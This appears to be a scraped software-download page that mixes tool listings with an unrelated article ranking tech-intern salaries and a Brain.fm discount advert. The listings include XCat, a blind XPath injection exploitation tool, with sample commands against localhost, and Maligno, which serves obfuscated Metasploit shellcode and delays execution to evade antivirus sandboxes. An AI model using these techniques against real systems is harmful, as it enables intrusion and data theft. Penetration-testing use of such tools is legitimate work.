Download Mod

XCat Tool that aides in the exploitation of blind XPath injection vulnerabilities

• Exploits both GET and POST attacks
• Extracts all nodes, comments, attributes and data from the entire XML document
• Small and lightweight (only a few pure-python dependencies)
• Parallel requests
• XPath 2.0 supported (with graceful degrading to 1.0)
• Advanced data postback through HTTP (see below)
• Arbitrarily read XML files on the servers file system via the doc() function (see below)
• Arbitrarily read text files on the servers file system via crafted SYSTEM entities

xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve

>> xcat --method=GET http://localhost:8080 title=Foundation title "1 results found" run retrieve
Injecting using FunctionCall
Detecting features...
Supported features: String to codepoints, XPath 2, Read local XML files, Substring search speedup
Retrieving /*[1]
<?xml version="1.0" encoding="utf-8"?>
<library>
 <rentals>
 <books>
 <!-- A comment -->
 <book>
...

>> xcat --method=GET --public-ip="localhost" http://localhost:8080 title=Foundation title "1 results found" test_injection
Testing parameter title:
FunctionCallInjection: /lib/something[function(?)]
 - EfficientSubstringSearch
 - OOBDocFeature
 - CodepointSearch
 - XPath2
 - DocFeature
 - EntityInjection

Go to link download

OAuth Request Crafter Tool that helps you to play with OAuth signature protected URLs

• Support GET,POST,PUT and DELETE
• Proxy the Request
• Tamper URL, Parameters & Headers on the GO
• Add additional Headers and Cookie

• When dealing with OAuth signature protected URLs, For tampering or issuing a request, Everytime you have to use some tool to generate a valid signature and nonce protected parameters and add it to your proxy to make a successful request.
• This is a pain since you have to do this manually for every single request.
• OAuth Request Crafter will solve that problem by automating everything.
• Provide it with CONSUMER KEY and CONSUMER SECRET and OAUTH TOKEN AND TOKEN SECRET (optional)
• Make Request tamper the URL, Parameters and Headers on the Go.

Go to link download

FolderTimeUpdate Tool that scans all files and folders and updates the Modified Time of every folder according the latest modified time

Start Using FolderTimeUpdate

Go to link download

Maligno Penetration Testing Tool that Serves Metasploit Payloads

• Encrypted communications: Maligno is a web server which communicates via HTTP or HTTPS with the clients. Communications are encrypted with AES and encoded with Base64 both for HTTP and HTTPS. Encryption and encoding parameters can be configured. Clients do NOT validate the server certificate by default.
• On the fly shellcode generation – per session mode: Maligno will generate shellcode while starting up, and it will cache it for later use. Maligno will serve the cached shellcode to all clients that request it during the session. Maligno will maintain a cache for each configured Metasploit payload. The cache is removed when Maligno is shut down.
• Multi-payload support: You may configure Maligno with several Metasploit payloads. Clients can request different payloads to the server. Payloads are referred by an index, which is passed as a GET parameter. Such parameter can be also configured.
• Multi-server support: Maligno can run on a single server with Metasploit or in separate machines. Clients will connect to Maligno, and Maligno will generate shellcode that points to a pre-configured Metasploit multi-handler.
• SOCKS4a proxy support: Maligno helps you starting a Metasploit auxiliary socks4a proxy, which can be used with payloads such as reverse_https_proxy. This will allow you to send all your traffic through your Maligno server, in case of having a multi-server environment.
• Scope definition: Maligno allows you to define single IP addresses or ranges. This will ensure that your shellcode is served only to machines involved in your pentest. You may also use a wildcard in order to accept ANY address.
• Last resort redirection: Maligno will redirect hosts out of scope, or hosts sending invalid requests, to a configured URL.
• Client code generator and pseudorandom obfuscator: Maligno comes with a script that will generate and obfuscate (pseudorandomly) client code ready for use, based on your server configuration.
• Delayed client execution: Maligno clients use a basic random execution delay, which attempts to bypass AV-sandboxes.
• Metasploit resource file generator: Maligno generates MSF resource files based on your configuration, which can be used with msfconsole right away.

Go to link download

The top tech companies that pay interns the most

Best ranked 15 highest-paying internships companies

Most of the interns think of an internship as an unpaid job and involves a whole lot of bsy work, coffee fetching and various other errands. However, this does not hold true in Silicon Valley.

The top tier companies in U.S. have fierce competition amongst them to acquire the very best young engineering talent. Not only this, internships are highly-prized too.

You get only or minimum wage salaries here and no expenses. In fact, there are several tech interns who are paid upwards of $6,000 per month, which is much more than the earnings of some people in other industries who have decades of experience behind them.

In this article, we bring to you the top 15 highest-paying internships in the U.S. technology industry today that were derived based on the data provided by Glassdoor – a site for reviewing employers. The list ranks the best highest-paying internships in order of the top to the last.

Note: The figures listed are monthly salaries of 10 or more intern, salaries for companies submitted to Glassdoor within the last two years. The salaries provided below are all for internships based in the US. Conversions into pounds, but the amounts paid by these companies to their interns in Britain — and anywhere else in the world — will likely differ from what is paid in the U.S.

1. Dropbox: $8,500/month (£6,800)

A former intern said:

“I just felt like people cared about me. My mentor cared about me, my team cared about me, the other interns cared about me … They also gave me a ton of money, but come on, hopefully that’s not your main reason for working somewhere. Along similar lines, the food is, of course, really excellent.”

2. Pinterest: $8,125/month (£6,500)

A former employee said:

“Exciting technologies and vibrant culture. Very dedicated to keeping employees happy and inspired. Interns were treated really well. Great efforts in increasing diversity.”

3. Facebook: $8,000/month (£6,400)

A former intern said:

“Lots of good things to say about Facebook: I’ve worked at other Bay Area tech companies, and Facebook culture and management is really up there. Extremely open culture helps cultivate functional relationships between managers and employees, unity in understanding what the end goal we’re working towards is, and huge ownership and responsibility of owned projects. Product directly affect the lives of millions of people everyday, and the company makes sure employees are taken care of (especially interns!). Company has good prospects, and the vision statements and culture strongly manifest themselves in how the company is run, and how products are made.”

4. LinkedIn: $7,500/month (£6,000)

A former intern said:

“LinkedIn has a great culture complete with bikes to ride, a gym and fitness trainer, pick up basketball, entertainment space and of course free food. The teams I worked with were very pleasant and eager to help. They even have an internal incubator and hackathons that allow you to build in any ay imaginable. The CEO Jeff Weiner is truly inspirational.”

5. NEC Labs America: $7,400/month (£5,900)

A former intern said:

“Great place to do your own thing. The people are very friendly and extremely intelligent. The admin staff are the best I’ve seen … Don’t expect direction unless you want to do something EXTREMELY menial. Some groups are completely rudderless, and work is very silo-ed.”

6. Walmart eCommerce: $7,219/month (£5,800)

A former intern said:

“Great engineers and scientists working in Walmart Labs. Everyone who works there is very friendly. Good sense of mission. Very friendly culture. Willingness to take risks and try new things. Interns get to work on great projects and the internship program is clearly a high priority for the company.”

7. Microsoft: $7,000/month (£5,600)

A former intern said:

“I had a great summer: great location, a great office, and great coworkers. The problems we solved were interesting, and our final product felt like it had purpose.”

8. Nest: $6,773/month (£5,400)

A former intern said:

“Really smart engineers. People are very invested in the product and the mission of the company … Being tied to Google adds a lot of pressure in areas like finance and profitability. Lots of cut backs while I was there, doesn’t seem to be a great relationship between the companies.”

9. Uber: $6,730/month (£5,400)

A current intern said:

“Uber is an exciting company that is in the news weekly. They have weekly all-hands meetings with Travis fielding questions. This is somewhat unique compared to other companies of the same size. The culture is strong with the best ideas winning.”

10. Groupon: $6,667/month (£5,300)

A former intern said:

“Great culture, very friendly people, very well established workflow and industry practices … because it is somewhat of an older company as far as tech goes, it’s no longer as “sexy” and they are more established in their ways.”

11. Google: $6,600/month (£5,300)

A former intern said:

“You are given a lot of freedom over the work you do as an intern. I was given one main project to work on when I entered the role, but was able to branch out into additional types of work as well as the internship went on … You don’t have much say over the team and role you are placed into. Also, you do not know much about what your role entails until you actually arrive. Google is can be very secretive.”

12. Yahoo: $6,333/month (£5,100)

A former intern said:

“The pay and benefits are promising. Lots of fun activities during my internship. A must-mention: the foods are really good! The people are very friendly and the working pace is very proper for me: people work hard, but not too intensive.”

13.Twitter: $6,333/month (£5,100)

A former intern said:

“The interns are usually well-programmed. From the day one you can be on top of your project. I interned at Google Inc before and comparing to my previous experiment Twitter was awesome. The company is mid-size so you have place to grow.”

14. Expedia: $6,333/month (£5,100)

A former intern said:

“The company culture is great, with strong sense of belonging and great work-life balance. Coworkers were extremely friendly … Expedia is a HUGE company at this point, and the work is distributed very efficiently–meaning not much room for creativity in everyday work.”

15. Apple: $6,333/month (£5,100)

A former intern said:

“Smart colleagues, good pay, decent hours, fun perks like subsidized food and nice cafes as well as company concerts and events … Competitive, political, tough to get things done sometimes; intense scrutiny of work; parking lots are always full on main campus.”

Source: Business Insider

Go to link download

Brain fm is AI Based Audio that Boosts Productivity or Relaxation Get 75 Off Lifetime Membership

Brain.fm is AI-Based Audio that Boosts Productivity or Relaxation [Get 75% Off Lifetime Membership]
Life’s distractions and annoyances are everywhere you go. The solution is Brain.fm. This is not your average music streamer. Brain.fm is designed to pick background music that will make you more productive and block out the outside world. It will use tracks that are design to improve your focus and get things done.

Listening to music with lyrics is only more of a distraction for many people. Brain.fm uses AI and a wealth of neurological research to stream the best background music without any lyrics for studying, sleeping, or relaxation.

This app is really popular among students who want to study more effectively. It’s difficult to ask a student to pay a monthly subscription for anything, but right now the Brain.fm Lifetime Subscription is only $49.99. That’s 75% off of the $199.99 value.

Choose whether you’re trying to work, relax, or sleep, & experience an original composition specially generated for that scenario
Adjust the stream to play for 30 minutes, 1 hour, 2 hours, or indefinitely until you turn it off
Explore different recordings & audio tracks for each category on your own
Access premium-only content & track your work progress
Developers that buy digital goods through the XDA Depot are helping support the XDA-developers website and keep the community alive.

Get this deal!

Go to link download

SimpleProgramDebugger Simple program debugger that shows all debug events

Go to link download

Isowall A mini firewall that completely isolates a target device from the local network

# apt-get install git gcc make libpcap-dev
# git clone https://github.com/robertdavidgraham/isowall
# cd isowall
# make

# ./bin/isowall --internal eth1 --external eth2 -c xxxx.conf

internal = eth1
internal.target.ip = 10.0.0.129
internal.target.mac = 02:60:8c:37:87:f3

external = eth2
external.router.ip = 10.0.0.1
external.router.mac = 66:55:44:33:22:11

allow = 0.0.0.0/0
block = 192.168.0.0/16
block = 10.0.0.0/8
block = 224.0.0.0-255.255.255.255

• source MAC address equal to internal.target.mac
• destination MAC address equal to external.router.mac
• EtherType of 0x800 or 0x806
• source IPv4 address equal to internal.target.ip
• destination IPv4 address within an allow range, but not in a block range
• if an ARP packet, then the destination IPv4 address must equal that external.router.ip
• if an ARP packet, must be a "request"

• destination MAC address equal to internal.target.mac
• source MAC address equal to external.router.mac
• EtherType of 0x800 or 0x806
• destination IPv4 address equal to internal.target.ip
• source IPv4 address within an allow range, but not in a block range
• if an ARP packet, then the source IPv4 address must equal that external.router.ip
• if an ARP packet, then must be a "reply"

Go to link download